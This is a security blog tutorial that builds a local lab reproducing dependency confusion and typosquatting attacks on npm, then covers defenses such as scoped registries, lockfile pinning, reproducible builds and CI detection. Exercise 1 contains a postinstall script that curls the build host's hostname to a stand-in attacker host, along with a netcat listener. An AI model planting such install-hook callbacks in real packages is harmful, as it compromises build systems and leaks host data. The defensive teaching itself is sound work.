You are currently viewing Catch a Poisoned Dependency: A Hands-On Lab for Dependency Confusion and Reproducible Builds

Catch a Poisoned Dependency: A Hands-On Lab for Dependency Confusion and Reproducible Builds

  • Post author:
  • Post category:Security
📋 Key Takeaways
  • TL;DR: How do you catch a poisoned dependency?
  • What Is Dependency Confusion (and Namespace Squatting)?
  • Lab Architecture and Prerequisites
  • Exercise 1: Reproducing a Dependency Confusion Attack
  • Exercise 2: Namespace and Typosquatting Paths
11 min read · 2,089 words
Educational & Ethical Use Only — This article is provided for educational and ethical cybersecurity research purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Always follow responsible disclosure and the laws applicable to you. Mitigations are included so engineers can harden real systems.

{
“@context”: “https://schema.org”,
“@type”: “TechArticle”,
“headline”: “Catch a Poisoned Dependency: A Hands-On Lab for Dependency Confusion and Reproducible Builds”,
“description”: “Build a CTF-style lab that reproduces dependency confusion and namespace-squatting attacks, then stop them with scoped registries, lockfile pinning, and reproducible builds.”,
“author”: {“@type”: “Organization”, “name”: “Hmmnm”},
“publisher”: {“@type”: “Organization”, “name”: “Hmmnm”, “url”: “https://hmmnm.com”}
}

TL;DR: How do you catch a poisoned dependency?

Catch a Poisoned Dependency: Hands-On Lab for Dependency Confusion

You catch dependency confusion by auditing every internal package name against public registries and by enforcing scoped registries plus committed lockfiles at install time. This lab reproduces the attack end-to-end—rogue publish, poisoned fetch, callback exfiltration—then closes each hole with .npmrc scoping, npm ci pinning, and reproducible-build verification.

What Is Dependency Confusion (and Namespace Squatting)?

Traditional supply chain attacks target the code you write. Dependency confusion targets the code you merely resolve—and package managers resolve in a well-defined but often misunderstood order.

Here’s the mechanics: most organizations host internal packages in a private registry (Artifactory, Verdaccio, GitHub Packages, AWS CodeArtifact). When your build runner runs npm install for a package like company-auth-lib, the resolver first asks the default public registry—registry.npmjs.org—whether that name exists there. If your internal name isn’t reserved publicly and no misconfiguration shields it, an attacker who publishes any version of company-auth-lib to npm wins. If they publish a higher semantic version, most resolvers prefer it outright. Alex Birsan’s February 2021 disclosure demonstrated this against Apple, Microsoft, PayPal, and Tesla; it remains the canonical reference, and CISA subsequently issued an alert (AA21-051A) detailing the technique alongside mitigation guidance.

Namespace squatting is the scope-level cousin. npm scopes (@company/utils) and PyPI’s normalizedName space are rentable by whoever registers first. If your org builds @acme-core/ packages but never registered the acme-core scope on npm, an attacker can—and every @acme-core/* dependency in your manifests now resolves to their namespace. Typosquatting is the third variant: reqeusts, crossenv (the real 2017 npm incident that stole npm tokens via postinstall scripts), or near-miss names that exploit hurried typing rather than resolution logic. All three funnel into the same kill chain: a build runner fetches attacker-controlled code and executes its install hooks.

Lab Architecture and Prerequisites

You’re attacking a probabilistic dependency resolution engine—wrapped in build automation. Do it in a sandbox, never against real registries.

Requirements:

  • A Linux VM or container (Docker is fine) with Node.js 20+ and Python 3.11+ installed.
  • Verdaccio running as your private registry: docker run -it --rm -p 4873:4873 verdaccio/verdaccio.
  • A disposable public test namespace—you’ll simulate the “public registry” locally rather than touching npm or PyPI at all (details below).
  • A DNS or HTTP callback collector for the exfiltration signal. A simple netcat listener, a Burp Collaborator instance, or interactsh all work.

Safety note: Publishing deliberately malicious packages to npm or PyPI is prohibited by their terms of service and may violate computer fraud laws, full stop. This lab simulates the public registry with a second local registry or by pointing your client at an internal “attacker” Verdaccio instance. Everything here stays on loopback. If you ever discover dependency confusion in a real organization’s dependencies, that’s responsible disclosure territory—report it, don’t exploit it. Security researchers have received takedowns and legal threats even for well-intentioned probes; see Google’s research on the scale of the problem (more than 33,000 potentially confusable namespace claims) at the Bug Hunters blog.

Exercise 1: Reproducing a Dependency Confusion Attack

Step one: create your “internal” package on the private registry.

# On the blue-team registry (localhost:4873), version 1.0.0
mkdir company-auth-lib && cd company-auth-lib
npm init -y
echo 'module.exports = { auth: () => "internal" };' > index.js
npm publish --registry http://localhost:4873

Step two: become the attacker. Stand up a second Verdaccio instance on port 4874 representing the public ecosystem, and publish the same name with a higher version:

# "Public" registry — attacker-controlled
mkdir company-auth-lib && cd company-auth-lib
npm version 2.99.0
# postinstall.js: exfiltrates hostname via callback
echo 'require("child_process").exec("curl http://attacker.local:9999/$(hostname)")' > postinstall.js
npm publish --registry http://localhost:4874

Step three: run the victim build. This is the crux of how dependency confusion actually happens during resolution—when the client is misconfigured (or when the resolver falls back to the public registry for names it doesn’t find upstream), version comparison takes over:

npm install company-auth-lib --registry http://localhost:4874
# added 1 package, and audited 2 packages in 812ms
# found 0 vulnerabilities

The install succeeds, the postinstall script fires, and your callback listener logs a hit:

nc -lvnp 9999
# GET /build-runner-01 HTTP/1.1 — build runner hostname captured

That callback is your detection signal—and the basis of the CTF scoring below.

Exercise 2: Namespace and Typosquatting Paths

Reset the lab, then test the scope-squatting path. Publish @company/utils to your “public” registry where the victim’s .npmrc routes @company packages to the default registry rather than the private one. Observe resolution order with npm view @company/utils versions --json—note that scope resolution follows whatever registry the scope maps to, so a missing scope mapping is the vulnerability, not a version race.

Then test the typo path: your internal package is company-auth-lib; publish company-auth-libx and a manifest entry pointing at the near-miss name. Version comparison doesn’t matter here—the typo is the attack. Install, and the wrong artifact lands in node_modules. Check it:

cat node_modules/company-auth-libx/package.json | grep postinstall
# "postinstall": "node postinstall.js"

Three variants, one lesson: resolution logic, namespace registration, and human error each need their own control.

Flag Check: Turning the Lab into a CTF Challenge

Structure it as scored objectives:

  • Flag 1 (Callback, 30 pts): Cause the build runner to reach your collector—proves arbitrary code execution via a poisoned dependency.
  • Flag 2 (Artifact, 30 pts): Locate and submit the sha512 integrity hash of the rogue package from package-lock.json, proving you can correlate a manifest to a substituted artifact.
  • Flag 3 (Forensics, 40 pts): From the blue-team side, identify the attack using Verdaccio’s audit log (which records the upstream fetch) and the residual postinstall script under node_modules.

Flag 3 matters most: real defenders rarely see the attack, only its residue.

Defense 1: Scoped Registries and .npmrc Configuration

The primary fix is routing. A project-level .npmrc maps scopes to your private registry and pins the default registry so nothing leaks upstream:

@company:registry=http://localhost:4873
registry=http://localhost:4873
always-auth=true

How do scoped registries route internal packages safely? The scope mapping is checked first—@company/* fetches go to 4873 regardless of what the default registry claims to have. But scope mapping alone isn’t enough for unscoped internal names. Configure Verdaccio (or Artifactory’s virtual repository) as a proxy with an allowlist: the private registry serves internal packages locally and only forwards to upstream for names not claimed internally. Never configure the public registry as a fallback for internal names. On the offensive side of the fence, reserve your public namespace: register your company scopes and common internal names on npm and PyPI defensively—Google’s research found tens of thousands of confusable names still unclaimed.

Defense 2: Lockfile Pinning and Integrity Verification

Why does a committed lockfile prevent dependency substitution? Because package-lock.json (or poetry.lock / uv.lock in Python) records the exact resolved version and a sha512 integrity hash per package. npm ci installs strictly from the lockfile—no resolution pass runs at all, so a public package with a higher version never gets considered. Compare:

npm install   # consults lockfile, but will resolve/update if manifest allows
npm ci        # installs exactly what's pinned; fails on manifest/lockfile mismatch

And verify integrity yourself:

grep -A2 '"company-auth-lib"' package-lock.json
# "integrity": "sha512-bX0Pj3l6ZmD4..."

Any tampering with package contents—bit-flip, regenerated tarball, mirror swap—invalidates that hash and the install fails. Rules: commit every lockfile, enforce npm ci in CI, and review lockfile diffs in pull requests the way you’d review code. GitHub’s dependency-review action automates that diff (github.com/github/dependency-review-action).

Defense 3: Reproducible Builds to Detect Tampering

Lockfiles pin what the resolver fetched. Reproducible builds prove what you shipped matches what you built. The principle, codified at reproducible-builds.org: identical source inputs, identical build environment, identical artifact hash. If your CI produces app-1.0.0.tgz with hash H and the artifact your deploy pipeline receives hashes to H′, something injected code between build and deploy—no runtime detection required.

Practical steps: pin your toolchain versions, normalize timestamps and locale settings, then compare builds:

sha256sum dist/app-1.0.0.tgz  # build #1
sha256sum dist/app-1.0.0.tgz  # build #2 from clean checkout

For byte-level diffs when hashes diverge, diffoscope shows you exactly which files and bytes changed—often revealing an injected postinstall hook or swapped binary. Full determinism across the npm ecosystem is hard (native compilation is the usual culprit), but even approximate reproducibility on your first-party packages gives you a tamper-evidence signal that survives a compromised registry.

CI/CD Guardrails and Detection Signals

Prevention fails sometimes; detection has to be standing by. What signals reveal a poisoned dependency in CI?

  • Registry audit alerts: Verdaccio, Artifactory, and CodeArtifact log upstream fetches. Alert when a package name that exists internally is requested from upstream—this is dependency confusion caught at the moment of resolution.
  • Egress monitoring from build runners: Build runners rarely need arbitrary outbound HTTP. The lab’s curl callback is exactly what an egress allowlist blocks—CISA’s guidance explicitly recommends restricting runner network access.
  • Dependency review in PRs: GitHub dependency-review, Renovate with lockfile maintenance, and SCA tooling flag newly introduced dependencies and typosquat candidates before merge.
  • OSSF Scorecard: Run OpenSSF Scorecard against your own repos to verify lockfiles are committed, CI is pinned, and dependencies are tracked—the Token-Permissions and Pinned-Dependencies checks map directly to the defenses above.
  • Internal-name reservation scans: Periodically query public registries for your internal names; alert on any hit.

OWASP’s Top 10 CI/CD Security Risks (risky dependency chain manipulation is squarely on the list) frames these as pipeline-level controls—see owasp.org/www-project-top-10-ci-cd-security-risks.

Blue-Team Takeaways and Hardening Checklist

You’ve now executed the attack and stacked the defenses. The checklist:

  • Map all @scope packages to the private registry in a committed .npmrc; pin the default registry too.
  • Configure the private registry as a proxy with an internal-name allowlist—no public fallback for internal names.
  • Commit lockfiles everywhere; enforce npm ci in CI; review lockfile diffs in PRs.
  • Reserve company scopes and internal package names on public registries defensively.
  • Alert on upstream fetches of internal names; restrict build-runner egress.
  • Monitor postinstall/preinstall scripts in new dependencies (block them where feasible—pnpm and npm’s --ignore-scripts help).
  • Verify artifact hashes across builds; diff anomalies with diffoscope.
  • Run OpenSSF Scorecard and treat failing dependency checks as release blockers.

Dependency confusion succeeds because resolution happens by default and defense happens by exception. Invert that: make every fetch intentional, pinned, and observable—and the poisoned dependency never gets a callback home.

Frequently Asked Questions

What is dependency confusion in simple terms?

An attacker publishes a public package with the same name as your private internal one. Because your package manager consults the public registry—or prefers the higher published version—it fetches and executes the attacker’s code instead of, or in place of, your legitimate internal package.

Does lockfile pinning fully stop dependency confusion?

It stops substitution for dependencies already pinned in a committed lockfile installed via npm ci. But new dependency additions, lockfile regeneration, and unscoped configurations still resolve against the public registry—so lockfiles must be paired with scoped registry routing and internal-name allowlists.

No. Publishing malicious packages to npm or PyPI violates their terms of service and may violate computer fraud laws. Run all experiments in an isolated lab, or stay strictly within a sanctioned bug bounty scope. If you find a confusable internal name, practice responsible disclosure: notify the affected organization, never execute payloads, and expect takedown of any test artifacts you publish.

Which tools detect dependency confusion automatically?

Registry audit logs (Verdaccio, Artifactory, CodeArtifact) flag upstream fetches of internal names; CI dependency review (GitHub’s dependency-review action) flags suspicious new dependencies; internal-name reservation scans query public registries for your names; and proxy allowlists enforce that internal packages never resolve upstream in the first place.

How do reproducible builds help supply chain security?

Identical inputs yield identical artifact hashes. If an attacker injects code into a dependency, build output, or release artifact, the hash changes—making the tampering detectable by simple hash comparison, without needing to trust any single registry or build host.

Hmmnm
Published by Hmmnm

Hands-on cybersecurity tutorials, CVE breakdowns, and guided learning paths — written and lab-tested by the Hmmnm team.

🛡️ Hmmnm also delivers this expertise as a service — security testing, assessment & training.

Hmmnm

Application Security Consultant at TCS. Certifications: CompTIA SecurityX, Burp Suite Certified Practitioner, Azure Security Engineer, Azure AI Engineer, Certified Red Team Operator, eWPTX v3, LPT, CompTIA PenTest+, Professional Cloud Security Engineer, SC-900, SC-200, PSPO I, CEH, Oracle Java SE 8, ISP, Six Sigma Green Belt, DELF, AutoCAD. Writing about ethical hacking, security tutorials, and tech education at Hmmnm.